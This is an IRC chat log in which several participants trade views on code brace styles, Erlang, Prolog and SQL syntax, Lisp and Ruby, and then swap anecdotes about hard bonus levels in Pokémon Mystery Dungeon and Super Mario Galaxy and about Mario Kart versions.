21:13:02 <elliott> int function(int arg)
21:13:03 <elliott> {
21:13:05 <elliott> and they started typing
21:13:14 <ais523> NetBeans doesn't electrify like that
21:13:19 <ais523> it electrifies other ways, but not that way
21:13:22 <ais523> IIRC
21:13:24 <Vorpal> ais523, "electrify"?
21:13:26 <ais523> here's a oneliner:
21:13:31 <ais523> int oneliner(void)
21:13:35 <ais523> { the_only_line();
21:13:36 <ais523> }
21:13:41 <ais523> which makes no sense at all
21:13:53 <elliott> Vorpal: electrify = electric mode
21:13:58 <fizzie> "#region ... #endregion" is defined to be equivalent to "#if true ... #endif", that's a bit funny.
21:13:58 <elliott> i.e. things like { automatically insert newlines and stuff
21:13:58 <ais523> hmm, perhaps it has an option to electrify like that
21:14:02 <ais523> that was turned on by mistake
21:14:13 <Vorpal> elliott, ah
21:14:17 <Vorpal> elliott, I hate that :P
21:14:35 <olsner> elliott: I guess it's Pico the editor
21:14:40 <elliott> olsner: no
21:14:49 <elliott> The style used most commonly in the Pico programming language by its designers is different from the aforementioned styles. The lack of return statements and the fact that semicolons are used in Pico as statement separators, instead of terminators, leads to the following syntax:
21:14:49 <elliott> stuff(n):
21:14:49 <elliott> { x: 3 * n;
21:14:49 <elliott> y: doStuff(x);
21:14:52 <elliott> y + x }
21:14:52 <elliott> The advantages and disadvantages are similar to those of saving screen real estate with K&R style. One additional advantage is that the beginning and closing braces are consistent in application (both share space with a line of code), as opposed to K&R style where one brace shares space with a line of code and one brace has a line to itself.
21:14:55 <elliott> probably some vanity addition
21:15:01 <elliott> but it's been there for so long that it's probably there to stay
21:15:20 <elliott> Vorpal: Electric stuff doesn't really work for those of us who write things like "if (foo) return x;" :P
21:15:23 <ais523> OCaml style would be like that, except move the semicolons to the start of the line after
21:15:38 <ais523> but it doesn't have to deal with braces, and it would also allow a useless semicolon at the start for consistency
21:15:42 <olsner> eeh, hmm, that *clearly* follows directly from the lack of return statements... or not, wtf
21:15:48 <Vorpal> elliott, indeed. And I do that
21:15:48 <elliott> ais523: what, like
21:15:49 <elliott> { abc
21:15:50 <elliott> ; def
21:15:52 <elliott> ; quux }?
21:15:54 <ais523> elliott: yep
21:15:59 <elliott> that's Haskell record definition syntax
21:16:02 <elliott> ais523: surely not...
21:16:05 <elliott> OCaml doesn't use {}, to start with
21:16:11 <ais523> I said it didn't use braces
21:16:12 <Vorpal> elliott, that reminds me of one insane way to do case in erlang
21:16:17 <ais523> that's just how it treats punctuation marks in general
21:16:18 <elliott> ais523: and all the ocaml code I've seen uses ; on EOL
21:16:19 <ais523> mostly with |
21:16:23 <elliott> well, with |, sure
21:16:26 <Vorpal> elliott, since you use ; to terminate a case branch
21:16:31 <Vorpal> elliott, but you can't use it on the last
21:16:33 <ais523> I forgot it had ; for a moment
21:16:37 <Vorpal> someone suggested you would put the ; at the start
21:16:40 <ais523> (and everyone forgets it has ;;)
21:16:40 <elliott> Vorpal: You have to use ".", right?
21:16:46 <Vorpal> elliott, . is for end of function
21:16:51 <elliott> Because Erlang thinks it's English or something.
21:17:04 <olsner> or because it thinks it's prolog?
21:17:06 <ais523> Prolog uses . for end-of-predicate
21:17:11 <olsner> prolog probably thinks it's english though
21:17:12 <ais523> and Erlang syntax was heavily inspired by Prolog
21:17:14 <elliott> yes, and Prolog thinks -- right
21:17:20 <Vorpal> olsner, the first version of the erlang VM was implemented in prolog I think
21:17:22 <elliott> ais523: *mutilated from
21:17:25 <olsner> it's a 5GL, humans can write code in it
21:17:40 <elliott> olsner: 6GL: PLAIN ENGLISH
21:17:48 <ais523> SQL thinks it's English too
21:17:53 <Vorpal> anyway, erlang just uses . for the last function clause of a function
21:17:54 <Vorpal> like:
21:17:55 <ais523> whereas VHDL just thinks it's ADA
21:18:01 <elliott> *Ada
21:18:05 <Vorpal> foo(1,n) -> n*n;
21:18:10 <olsner> SQL also thinks it's "structured"
21:18:11 <ais523> elliott: ah, I know why I capitalise it
21:18:12 <Vorpal> foo(2,n) -> n+n.
21:18:16 <elliott> Vorpal: wow, why does there even have to be a marking for the last clause?
21:18:20 <Vorpal> (no that function makes no sense whatsoever)
21:18:26 <ais523> it's because all the uses of the name I've seen predate lowercase letters
21:18:37 <elliott> ais523: BEFORE WE ADDED LOWERCASE LETTERS TO THE ENGLISH LANGUAGE
21:18:42 <elliott> WE HAD THIS LANGUAGE CALLED "ADA"
21:18:46 <Vorpal> elliott, to separate it from the next function? But yes I don't know why it couldn't be the same one as for all other cases.
21:18:57 <ais523> elliott: Prolog definitely needs the .
21:19:07 <elliott> yes, but prolog puts . at the end of every clause
21:19:09 <elliott> not ; in front of all but the last one
21:19:17 <elliott> also, Prolog uses ; as OR IIRC
21:19:18 <ais523> well, it uses , or ; to separate clauses
21:19:18 <elliott> *or
21:19:22 <ais523> meaning and and or respectively
21:19:28 <elliott> right
21:19:30 <elliott> so erlang ruins that :D
21:19:38 <elliott> kinda
21:19:39 <Vorpal> <olsner> SQL also thinks it's "structured" <-- it is compared to an ad-hoc solution in a typical general purpose language :P
21:19:49 <ais523> hmm, can you actually define :- in Prolog?
21:19:49 <Vorpal> but apart from that, no it isn't
21:20:04 <ais523> I hope you can't, but it's Prolog so I'm not sure
21:20:20 <olsner> it might not have been the case back then, but now I think most general purpose languages are more structured than SQL
21:20:26 <elliott> "Also, but this is minor ... Script-Fu should be Ruby or Python or a SIMPLIFIED PSEUDO-DOMAIN SPECIFIC LANGUAGE.
21:20:27 <ais523> reddit keep laughing about Haskell like "let five = 2 + 2 where 2 + 2 = 5
21:20:27 <elliott> I will definitely not want to learn Lisp nor Scheme just so I can script in Gimp ..."
21:20:29 <Vorpal> <elliott> also, Prolog uses ; as OR IIRC <-- THAT explains a lot about the guard expressions in erlang
21:20:30 <ais523> s/$/"/
21:20:31 <fizzie> SQL written in the typical ALL UPPERCASE form is so enterprisey; ... CONSTRAINT foo FOREIGN KEY (bar) REFERENCES baz (quux) MATCH FULL ON UPDATE CASCADE ON DELETE CASCADE INITIALLY DEFERRED ...
21:20:34 <elliott> Since when is learning Ruby easier than learning Scheme ...
21:20:41 <Vorpal> elliott, like foo(1,n) when n > 2 -> ...
21:20:54 <ais523> elliott: did you point out that Ruby is Lisp in disguise?
21:20:55 <olsner> fizzie: I actually kind of like that style for SQL
21:20:59 <elliott> Vorpal: IIRC "if x then y else z" in Prolog is x => y; z
21:21:00 <Vorpal> elliott, in that bit after when , and ; are used as and/or
21:21:16 <Vorpal> elliott, though you can use or and and keywords as well
21:21:18 <elliott> ais523: *Smalltalkperlisp
21:21:32 <olsner> so you can see which parts are keywords and which are identifiers, but only if the last person to touch the code kept them apart when writing it
21:21:44 <ais523> I thought making it look like it was inspired by Perl was a cover for the Lispism
21:21:48 <fizzie> olsner: I do use it too, but it feels so businessy. :p
21:21:52 <Vorpal> <fizzie> SQL written in the typical ALL UPPERCASE form is so enterprisey; ... CONSTRAINT foo FOREIGN KEY (bar) REFERENCES baz (quux) MATCH FULL ON UPDATE CASCADE ON DELETE CASCADE INITIALLY DEFERRED ... <-- isn't like at least 3 of those keywords optional?
21:22:01 <elliott> "The differences go far deeper. LISP = LIStProcessor. The entire computational model is based on the idea of formulating your problems in terms lists, and coming up with lots of simple (often recursive) functions to process them. Very different from a procedural, object-oriented language like Python."
21:22:04 <elliott> >_<
21:22:07 <elliott> I hate people.
21:22:14 <ais523> the same way that, say, you can throw a bunch of blatant Zelda references into a computer game to prevent people wondering if it's a cheap ripoff of an entirely different game
21:22:14 <Vorpal> fizzie, I'm pretty sure I got away with FOREIGN KEY (bar) REFERENCES baz (quux)
21:22:35 <fizzie> Vorpal: The defaults are not what are specified there, though, so if you want those semantics, they're not optional.
21:22:39 <elliott> ais523: well, eh, it was originally matzlisp, but a lot of the features are VERY perl
21:22:45 <elliott> especially with regexp matching
21:22:46 <fizzie> The constraint name is optional, but it's good style to include it, or so they say.
21:22:53 <elliott> =~ implicitly sets $1,$2,$3,...
21:22:54 <Vorpal> fizzie, hah
21:22:54 <ais523> everything does regexen nowadays
21:22:55 <ais523> even Java
21:22:56 <olsner> elliott: it's true though, and not even obvious if it's pro-lisp or pro-python
21:23:12 <ais523> even more surprisingly, Java uses PCRE or a clone with identical syntax
21:23:20 <elliott> olsner: it's not true... most scheme/lisp programs don't formulate things in terms of lists.
21:23:26 <elliott> (and most lisp programs don't recurse much.)
21:23:28 <Vorpal> <ais523> the same way that, say, you can throw a bunch of blatant Zelda references into a computer game to prevent people wondering if it's a cheap ripoff of an entirely different game <-- what, really?
21:23:34 <ais523> so Java regexen look just the same as Perl regexen, except you use double quotes as delimeters and double backslashes
21:23:40 <elliott> ais523: PCRE clone? clone of a clone!
21:23:42 <fizzie> SELECT CASE WHEN x THEN y WHEN z AND q THEN p ELSE r END FROM p WHERE ...
21:23:56 <ais523> Vorpal: or any sufficiently popular and recognisable game series
21:24:05 <elliott> "Unless the "NoRecurse" PCRE build option (aka "--disable-stack-for-recursion") is chosen, adequate stack space must be allocated to PCRE by the calling application or operating system. The amount of stack needed varies for each pattern. For example, to complete the tests provided with pcretest, 8 mb of stack space would be needed. While PCRE's documentation cautions that the "NoRecurse" build option makes PCRE slower than the alternative, using
21:24:05 <elliott> it avoids entirely the issue of stack overflows."
21:24:05 <olsner> elliott: hmm, all the lisp I've written has put everything in lists and had loads of recursion :P
21:24:07 <elliott> SOUNDS WELL-ENGINEERED
21:24:12 <elliott> olsner: lisp? or scheme?
21:24:13 <Vorpal> ais523, but has that been done?
21:24:18 <olsner> elliott: both
21:24:19 <elliott> any Common Lisper would maul you for doing that
21:24:24 <Vorpal> ais523, I mean, do you know any examples of this
21:24:26 <elliott> recursion is bad in CL
21:24:32 <ais523> oh, I'm vaguely planning to do it
21:24:42 <elliott> ais523: SO IS DNA MAZE DONE YE
21:24:43 <Vorpal> fizzie, what? CASE?
21:24:43 <elliott> T
21:24:45 <elliott> *YET
21:24:47 <Vorpal> fizzie, is that standard?
21:24:49 <ais523> I want to make a roguelike balanced the same way as Pokémon Mystery Dungeon someday, but entirely reflavoured and open-source
21:24:50 <olsner> oh, right, CL doesn't mandate tail-call optimization
21:25:06 <elliott> ais523: hey, I have pokemon mystery dungeon ... ... it was kinda boring
21:25:10 <olsner> luckily, it was a number of years ago I wrote CL
21:25:11 <ais523> elliott: no, but luckily the last few levels I /have/ made are sufficiently hard that nobody will notice I haven't done any beyond them
21:25:17 <ais523> elliott: have you unlocked Zero Island yet?
21:25:23 <elliott> ais523: no, i gave up very quickly :)
21:25:25 <ais523> go do Zero Island South
21:25:31 <ais523> the first 85% of the game is boring
21:25:34 <elliott> ais523: it was the sequel
21:25:37 <elliott> Explorers of Time
21:25:41 <ais523> yep, it's the sequel I'm talking about
21:25:51 <elliott> ais523: hmm, it never occurred to me that they're roguelikes
21:25:58 <elliott> first mainstream roguelikes?
21:26:11 <ais523> they went and hid an actual roguelike, which is incredibly difficult, on an optional dungeon
21:26:19 <ais523> no, Shiren the Wanderer is older
21:26:19 <elliott> haha
21:26:23 <ais523> and made by the same company
21:26:40 <ais523> Zero Island South has a lot of mess about "you can't take in items or money and will be reduced to level 1 temporarily"
21:26:40 <fizzie> Vorpal: Yes, I'm reasonably certain it is, though not entirely sure.
21:26:44 <elliott> ais523: well, maybe we have different definitions of mainstream
21:26:48 <Vorpal> fizzie, ah
21:27:00 <ais523> when what it actually means is "you will be given an entirely separate level 1 character that's the same species as your party leader"
21:27:00 <elliott> I'm sure N for some large N kids got the Pokemon Mystery Dungeon games from parents because it had the word Pokemon in it
21:27:10 <elliott> haha
21:27:13 <ais523> yep, and it has the advantage of a very good plot compared to most Pokémon games
21:27:33 <elliott> I think Pokemon games and the like tend to try and keep protagonist continuity in one save game :P
21:27:45 <ais523> anyway, Zero Island South is a) a normal roguelike in every sense (no saving, no carry over, etc.), and b) freakishly hard
21:27:51 <ais523> I've never got more than about a third of the way through
21:27:56 <elliott> SOUNDS FUN
21:28:00 <elliott> Zero Island South Beatable? - Serebii.Net Forums
21:28:00 <elliott> 20 posts - 16 authors - Last post: 5 Sep 2008
21:28:00 <elliott> Zero Island South Beatable? Pokemon Mystery Dungeon Discussion.
21:28:01 <elliott> www.serebiiforums.com/showthread.php?t=350509 - Cached - Similar
21:28:03 <elliott> first result
21:28:06 <elliott> for "zero island south"
21:28:07 <Vorpal> ais523, harder than nethack?
21:28:13 <ais523> comparable
21:28:17 <elliott> Vorpal: "I've never got more than about a third of the way through"
21:28:19 <ais523> harder for me, but then I'm pretty good at NetHack
21:28:22 <Vorpal> ais523, what did this game run on?
21:28:22 <elliott> I'm pretty sure ais523 has ascended, so :P
21:28:27 <elliott> Vorpal: Pokemon Mystery Dungeon
21:28:29 <elliott> oh
21:28:30 <elliott> Nintendo DS
21:28:31 <ais523> it's a DS game
21:28:41 <ais523> but the main game itself is very easy
21:28:43 <Vorpal> how... did nintendo license that
21:28:46 <Vorpal> if it was so hard
21:28:49 <Vorpal> ais523, oh I see
21:28:54 <Vorpal> ais523, it has two games?
21:28:57 <ais523> actually, for the same reason the optional bonus level is hard
21:28:58 <Vorpal> in one?
21:29:05 <ais523> Vorpal: Zero Island is disguised as an optional/bonus level
21:29:24 <elliott> ais523: that reminds me of Super Mario Galaxy
21:29:25 <ais523> but the only tie-in with the main game is that items found in ZIS can be taken back to the main game (not the other way round, though)
21:29:40 <ais523> also money, but there are much easier ways to get that
21:29:51 <elliott> ais523: beating the actual game is incredibly easy; doing all the special levels you unlock after that is much harder
21:29:56 <elliott> (the post-game game is bigger than the game itself)
21:30:01 -!- Mathnerd314 has joined.
21:30:03 <elliott> and then you get to Luigi's Purple Coins. aaaaargh.
21:30:16 <ais523> well, Zero Island is just four levels
21:30:25 <ais523> two of which are truly independent from the main game itself
21:30:30 <elliott> video of Luigi's purple coins: http://www.youtube.com/watch?v=ECfQmBbzvcc
21:30:33 <elliott> note: it's much harder than it looks.
21:30:35 <Vorpal> elliott, the same could be say for games like mario64
21:30:35 <elliott> and it doesn't look easy.
21:30:36 <ais523> Zero Island North lets you take in fully-leveled Pokémon, items, and money
21:30:40 <elliott> Vorpal: take a look at http://www.youtube.com/watch?v=ECfQmBbzvcc
21:30:40 <ais523> and it's the only one I've actually solved
21:30:55 <ais523> and even then, it was at level 100, and I used up half a bag of reviver seeds (= amulets of life saving that work from inventory)
21:31:02 <Vorpal> elliott, where winning the game is easy but getting every single star is quite a bit harder (though not impossibly hard)
21:31:04 <elliott> I swear, Luigi's Purple Coins is three times as hard as the rest of the game combined.
21:31:22 <elliott> Took weeks to do it.
21:31:22 <ais523> I only did it after realising that the best strategy was to put a reviver seed in every single item slot of my bag, because an intentional death + lifesave duplicates the power of so many other items
21:31:35 <elliott> ais523: haha
21:32:01 <ais523> and I used exactly half of them
21:32:14 <elliott> incidentally, Luigi's Purple Coins got a /sequel/ in the sequel
21:32:16 <elliott> but it was actually easier
21:32:28 <coppro> Luigi's Purple Coins /with Luigi/
21:32:29 <elliott> you had to get every single coin, but the platforms weren't so downright malicious
21:32:31 <coppro> now that's evil
21:32:31 <elliott> (although there were enemies)
21:32:32 <ais523> west, east, and south each restrict you to fresh characters; west allows a limited number of items to be taken in from outside
21:32:46 <ais523> and east and south are true roguelikes, allowing 4 and 1 fresh characters respectively
21:32:59 <elliott> INSUFFICIENT EMPATHY FOR MY LUIGI'S PURPLE COINS HORROR GUYS
21:33:00 <ais523> I prefer south, although I like the AI ally management subgame it's too much in addition to a truly evil dungeon
21:33:07 <elliott> once I got all the coins, and then died on the way back to the star
21:33:09 <ais523> hey, I haven't watched the video yet
21:33:15 <ais523> although I'm aware that the level is infamous
21:33:19 <Vorpal> <elliott> Vorpal: take a look at http://www.youtube.com/watch?v=ECfQmBbzvcc <-- wha....
21:33:21 <elliott> another time i had like three to go, and /ran out of time/
21:33:25 <elliott> Vorpal: IT IS THE WORST EVER
21:33:26 <Vorpal> elliott, bonus level right?
21:33:30 <coppro> also, that video sucks
21:33:35 <elliott> Vorpal: well, yes, but like i said
21:33:38 <coppro> he doesn't long jump
21:33:40 <elliott> the only real achievement is beating it completely
21:33:42 <elliott> the actual game is trivial
21:33:44 <coppro> long jumping is how you do that level
21:33:56 <elliott> I wasn't actually the person to do it in the end (although I think I did it later); it was at the unit, Jonathan did it
21:34:07 <elliott> tl;dr: Nintendo: EVIL PERSONIFIED.
21:35:23 <Vorpal> elliott, you did beat that level with all the stars as well?
21:35:33 <elliott> all the stars? eh?
21:35:43 <Vorpal> elliott, "lilac thingies"
21:35:48 <Vorpal> looked like stars to me
21:35:49 -!- pikhq has joined.
21:35:54 <elliott> oh. no, i only got 100 of them, which is all you need
21:35:57 <Vorpal> elliott, if so I'm impressed, couldn't pull it off myself I know *that*
21:35:59 <Vorpal> elliott, ah
21:36:01 -!- pikhq_ has quit (Ping timeout: 250 seconds).
21:36:02 <elliott> Vorpal: but even then
21:36:05 <Vorpal> elliott, still tricky ys
21:36:06 <Vorpal> yes*
21:36:11 <elliott> it's ridiculously impossible, especially if you don't know the jumping mechanics
21:36:19 <ais523> elliott: that reminds me of some of the harder Enigma levels
21:36:21 <elliott> doing the shake-jump that happens a lot in that video seriously restricts your movement afterwards
21:36:22 <Vorpal> elliott, also why is it nintendo hard? It is too modern for that
21:36:24 <ais523> it's a puzzle level, by the look of it
21:36:25 <elliott> so often you fall to your death
21:36:39 <elliott> ais523: puzzle and dexterity...
21:36:42 <Vorpal> elliott, shake jump?
21:36:43 <elliott> or whatever
21:36:45 <Vorpal> elliott, which one is that
21:36:49 <elliott> Vorpal: where he jumps and spins and goes yahoo
21:36:53 <Vorpal> elliott, ah
21:36:56 <ais523> well, I expect platformers to be dexterity
21:36:58 <elliott> heh "STAR GET!", that's not in the english version
21:37:04 <elliott> Vorpal: clearly the sadists who made the Nintendo Hard games snuck their evil into the bonus levels, anyway
21:37:14 <Vorpal> <elliott> heh "STAR GET!", that's not in the english version <-- wait a second.
21:37:25 <Vorpal> elliott, if it is not English it is in the wrong language
21:37:28 <ais523> elliott: the vast majority of romhacks are nintendo hard or harder
21:37:38 <ais523> Vorpal: Japanese games often have English text in addition to Japanese text
21:37:41 <elliott> Vorpal: most Japanese platformer games are in Engrish
21:37:46 <elliott> you can see at the start, the sign has japanese text
21:37:50 <Vorpal> elliott, it says "Time:" too
21:37:50 <ais523> often using one for certain types of text, and the other for other types of text
21:37:51 <Vorpal> hm
21:37:56 <ais523> I have no idea why
21:38:08 <elliott> ais523: possibly for space?
21:38:15 <elliott> hard to render kanji in low-res, and kana would have been quite long
21:38:15 <Vorpal> elliott, does Mario in Japan talk broken English with an Italian accent as well?
21:38:17 <elliott> in e.g. original SMB
21:38:19 <Vorpal> elliott, or...
21:38:24 <elliott> Vorpal: I SURE HOPE SO.
21:38:24 <ais523> oh, it might be a low-res thing
21:38:33 <ais523> also, the vast majority of Japanese games use kana
21:38:33 <elliott> he doesn't actually talk in Galaxy though
21:38:42 <elliott> well he just goes like "ah" and "yahoo" and stuff and the rest is subtitles.
21:38:49 <ais523> because most Japanese children, who'd likely be playing the games, don't know kanji yet
21:38:56 <elliott> heh
21:39:10 <elliott> ais523: also because kanji still requires higher-res than you get on the DS I would imagine
21:39:14 <ais523> not to mention, that kana fonts save a bunch of space on old-fashioned game cards
21:39:25 <ais523> elliott: nope, Pokémon Black/White have a kana/kanji option
21:39:26 <Vorpal> elliott, right. He says "It is me, Mario" or something like that when you load Mario64
21:39:31 <elliott> ais523: haha, awesome
21:39:36 <elliott> Vorpal: *It'sa me, Ma-rio!
21:39:39 <elliott> that's in Galaxy too
21:39:40 <ais523> I think they might double the size of the kanji so they're visible, though
21:39:45 <Vorpal> elliott, well then he talks
21:39:47 <ais523> "it's-a" is the normal rendering
21:39:54 <elliott> right
21:40:03 <Vorpal> ais523, I can't say I'm a specialist on this :P
21:40:06 <elliott> he also say "Let's go" or something when you select a level.
21:40:16 <Vorpal> elliott, isn't that in mariokart?
21:40:22 <elliott> I think so too
21:40:32 <elliott> I really dislike Mario Kart Wii
21:40:44 <ais523> elliott: "let's-a go"
21:40:47 <Vorpal> elliott, I tried mario kart but I never found racing games very interesting at all
21:40:48 <elliott> ais523: right
21:40:48 <elliott> they screwed up the controls to make it easier for newbies using the wheel thing or whatever
21:40:50 <ais523> the -a suffix is Mario's speech tic
21:40:51 <elliott> in Wii
21:40:59 <elliott> the gamecube version is far superior
21:41:01 <elliott> and has better levels too
21:41:08 <ais523> my favourite's the GBA version
21:41:15 <Vorpal> ais523, I think I remember stuff like "Select course" too being spoken in Mario kart for n64
21:41:18 <coppro> I like the DS one personally
21:41:20 <elliott> I have the DS, but not the GBA version
21:41:22 <ais523> although I've played most of them by now, despite not owning most of the relevant consoles
21:41:28 <coppro> I definitely agree with Wii sucking
21:41:30 <coppro> Vorpal: yes
21:41:32 <ais523> I have the DS version, and they removed a lot of things from the GBA version that I like
21:41:40 <elliott> I don't like the DS version much
21:41:42 <ais523> alarmed red shells, in particular
21:41:44 <elliott> it's a bit boring
21:41:52 <elliott> ais523: ouch, red shells don't alarm in the DS version?
21:41:55 <elliott> they do on the gamecube
21:41:55 <ais523> in the GBA version, if you hold down when pressing a red shell, it does nothing for a few seconds
21:42:02 <ais523> then if anyone comes near, aims for them
21:42:10 <elliott> ah, nice
21:42:13 <ais523> it makes battle mode really tactical
21:42:16 <elliott> that might be in the GCN version, not sure
21:42:21 <coppro> don't think so
21:42:23 <ais523> what does the N stand for in GCN?
21:42:27 <elliott> Nintendo
21:42:30 <elliott> it's a bit of a ridiculous acronym
21:42:38 <Vorpal> elliott, what does GC stand for?
21:42:38 <coppro> not sure who came up with it
21:42:41 <ais523> that's french word order
21:42:43 <ais523> Vorpal: game cube
21:42:48 <coppro> Vorpal: *smackupsidethehead*
21:42:48 <elliott> my gamecube battle mode tactics are "make sure you have what you need five seconds before the match ends, and hoard it madly"
21:42:51 <elliott> *then hoard
21:42:56 <Vorpal> ais523, wait what. Game Cube Nintendo?
21:42:59 <Vorpal> XD
21:43:03 <elliott> Vorpal: *GameCube
21:43:06 <ais523> elliott: in that case, the victory condition changed too
21:43:11 <Vorpal> elliott, I see. Pascal case eh
21:43:13 <elliott> "The Nintendo GameCube (ニンテンドーゲームキューブ Nintendō Gēmukyūbu?), officially abbreviated as GCN in Western regions[citation needed] and as NGC in Japan"
21:43:13 <coppro> elliott: don't forget "drop bananas just outside the pipes"
21:43:16 <ais523> it's GameCube, but I added the space to make the acronym clear
21:43:16 <elliott> Nintendo don't understand English.
21:43:38 <ais523> the hilarious thing is how Japanese abbreviations often work in English too
21:43:50 <Vorpal> but the best mario games are the RPG one I find
21:43:55 <Vorpal> well paper mario, not so much
21:43:59 <ais523> e.g. for a long time, I didn't believe the common clame that "Pokémon" is short for "Pocket Monsters" because surely it should be a japanese abbreviation?
21:44:01 <Vorpal> but the old SNES one
21:44:02 <elliott> define RPG mario game
21:44:05 <Vorpal> is quite amazing
21:44:16 <ais523> but it turns out that the abbreviation works in Japanese too
21:44:17 <Vorpal> elliott, Mario RPG for SNES mostly
21:44:23 <elliott> ais523: POKETTU MONSAUETUAO
21:44:32 <elliott> (yes, I know it's really Poketto Monsut-a)
21:44:34 <Vorpal> elliott, the paper mario ones aren't all that bad either though not as good as the snes one
21:44:40 <elliott> (where - stands for how I'm too lazy to find the key combo for that)
21:44:45 <Vorpal> elliott, defined enough?
21:44:48 <elliott> Vorpal: yes
21:45:23 <elliott> hmm, I wonder if there's an SMG 3 coming out
21:45:26 <Vorpal> elliott, also I believe that is the only one you end up with Bowser on your side for a while
21:45:31 <elliott> and how good Wii emulation is (probably terrible)
21:45:56 <Vorpal> elliott, played it?
21:45:59 <elliott> Vorpal: nope
21:45:59 <ais523> elliott: they've almost got it to rerecord quality now
21:46:08 <elliott> ais523: on what kind of hardware?
21:46:08 <Vorpal> elliott, worth the time to do so
21:46:14 <ais523> elliott: I don't know
21:46:17 <elliott> ais523: oh, wait, no point using an emulator, the gestures will be a pain ...
21:46:42 <elliott> I think Wiis are like £5 now, anyway
21:46:46 <ais523> <Vorpal> elliott, also I believe that is the only one you end up with Bowser on your side for a while <--- Super Smash Bros Brawl has Mario and Bowser on the same side towards the end
21:46:53 <elliott> wait, Brawl has a /story/
21:46:55 <elliott> */story/?
21:47:02 <Vorpal> ais523, what? isn't brawl a fighting game?
21:47:03 <ais523> elliott: yes, they patched it in several months after release
21:47:05 <ais523> adding a story mode
21:47:07 <elliott> lmao
21:47:10 <Vorpal> ais523, they what?
21:47:16 <ais523> which is actually mostly a platformer based on the same engine
21:47:22 <Vorpal> ais523, ... XD
21:47:24 <ais523> well, it's a cross between a platformer and a fighting game
21:47:34 <Vorpal> ais523, how strange. what platform is it for?
21:47:36 <ais523> but you know the whole recovery thing, where if you get back onto the platform you don't die?
21:47:45 <ais523> they used that as the basis behind a platformer
21:47:48 <ais523> and Wii
21:48:00 <elliott> btw, I recommend Galaxy/Galaxy 2 to anyone who likes Mario games, although I guess that goes without saying
21:48:00 <ais523> search for Subspace Emissary if you're interested
21:48:04 <Vorpal> <ais523> they used that as the basis behind a platformer <-- the result sucks right? there is no way it couldn't
21:48:18 <Vorpal> <ais523> search for Subspace Emissary if you're interested <-- wait, did we get into star trek suddenly?
21:48:21 <Vorpal> ???
21:48:25 <ais523> no, that's the name of the story mode
21:48:31 <Vorpal> ais523, what a strange name
21:48:39 <elliott> wat @ that name
21:48:56 <ais523> well, there's a major boss who exists for the purpose of everyone uniting to fight him
21:48:57 <ais523> but he's trapped in Subspace
21:49:05 <elliott> so let's unleash him?
21:49:06 <ais523> so he sends out an emissary to Subspace-ise the entire world
21:49:06 <elliott> CLEVER
21:49:09 <elliott> ah
21:49:12 <ais523> nope, he doesn't get unleashed
21:49:20 <elliott> hmm, someone should patch Super Mario Galaxy 1 and 2 to not reward you for beating the game the normal way, until you 100% it :)
21:49:21 <ais523> rather, he tries to move the border so everyone's on his side
21:49:54 <ais523> it would be hilarious if SSBB were canon in all the respective universes
21:50:01 <elliott> aaargh, i just had a flashback of the Daredevil Bouldergeist level
21:50:11 <Vorpal> ais523, I can't imagine it being canon in any
21:50:12 <elliott> oh, and that speed-run level
21:50:14 <ais523> completely devastate a large number of plotlines...
21:50:25 <ais523> Vorpal: neither can I, but it would be hilarious
21:50:26 <elliott> where you had to complete something like 5 bosses
21:50:27 <elliott> in a few minutes
21:50:30 <elliott> that was ... painful
21:50:34 <elliott> hmm, maybe more than 5
21:51:29 <elliott> "Bouldergeist does return in Super Mario Galaxy 2 in the Boss Blitz Galaxy along with other bosses from Super Mario Galaxy as the fourth boss encountered. Its attack tactics are exactly the same as those in the prequel."
21:51:31 <elliott> yep, that one
21:51:33 <Vorpal> ais523, anyway "<Vorpal> <ais523> they used that as the basis behind a platformer <-- the result sucks right? there is no way it couldn't", never got an answer
21:51:41 <elliott> "This galaxy pits the player against five bosses from the first game, Super Mario Galaxy. The player faces off against Dino Piranha, King Kaliente, Major Burrows, Bouldergeist, and Fiery Dino Piranha in that exact order. There is no break for the first four bosses. However, there is a small planet to rest upon before battling the last boss here."
21:51:44 <elliott> ^ THIS IS LIQUID PAIN
21:51:47 <elliott> FREAKING INFINITE LIQUID PAIN
21:51:47 <ais523> well, I haven't played it myself
21:51:54 <elliott> "This mission is the same as the first one, only there is a time limit of five minutes. If Mario manages to defeat all five bosses before time runs out, he is granted a Power Star."
21:52:09 <elliott> I don't think everyone's quite got enough of a feeling of the pain here
21:52:14 <ais523> but watching other people play it, there's often swearing in the platforming as opposed to fighting sections
21:52:34 <Vorpal> "<elliott> "This galaxy pits the player against five bosses from the first game, Super Mario Galaxy." <-- wait what, that sounds like cost cutting
21:52:37 <ais523> elliott: well, you haven't played zero island south
21:52:39 <Vorpal> reusing bosses like that
21:52:40 <elliott> Vorpal: it's a bonus world
21:52:44 <Vorpal> unless it is the token boss
21:52:44 <elliott> Vorpal: and I doubt it was trivial to code in
21:52:45 <Vorpal> elliott, ah
21:52:49 <elliott> because all the planets are in one place
21:52:53 <elliott> well, the same galaxy or whatever
21:53:01 <ais523> one of the base-level, token enemies is Bronzor
21:53:02 <elliott> Vorpal: anyway, doing that in five-minutes was incredibly painful.
21:53:25 <elliott> *five minutes
21:53:25 <Vorpal> elliott, of course. But still saves on thinking up new interesting bosses
21:53:28 <ais523> who is incredibly hard to kill (something like six hits with my most powerful attack at that point in the game, where most monsters die in one or two), and has two separate attacks that prevent the player acting at all
21:53:32 <Vorpal> elliott, also on graphics
21:53:34 <ais523> which it can alternate to extend the duration
21:53:34 <Vorpal> and so on
21:53:35 <elliott> Vorpal: they did quite enough of that in the game itself TYVM
21:53:39 <Phantom_Hoover> elliott, http://tvtropes.org/pmwiki/posts.php?discussion=12979187400A65160100&page=1#1
21:53:40 <ais523> so letting it get in one hit can often result in your death
21:53:42 <Vorpal> elliott, :P
21:53:47 <Phantom_Hoover> Punctuated titles are dead.
21:54:10 <ais523> occasionally, I manage to get past the part of the game full of that sort of ridiculous status-chaining difficulty to the bit where I just get oneshotted
21:54:15 <elliott> Vorpal: oh, and this is painful too. http://www.mariowiki.com/Stone_Cyclone_Galaxy
21:54:17 <ais523> perhaps I've done that 2 or 3 times by now
21:54:21 <elliott> Phantom_Hoover: What...
21:54:28 <Phantom_Hoover> And it looks like they're replacing it with an even hackier system.
21:54:37 <elliott> Vorpal: the faster version
21:54:47 <Phantom_Hoover> http://static.tvtropes.org/pmwiki/pub/images/Picture_4_7476.jpg
21:54:52 <elliott> Vorpal: basically, incredibly deadly (one-hit kill) boulder block things are going around incredibly quickly
21:54:57 <Phantom_Hoover> BEHOLD, FAST EDDIE, RULER OF TV TROPES.
21:54:57 <elliott> you can slow down time but only for a short amount of time at certain points
21:55:00 <elliott> and you have to collect 5 silver stars
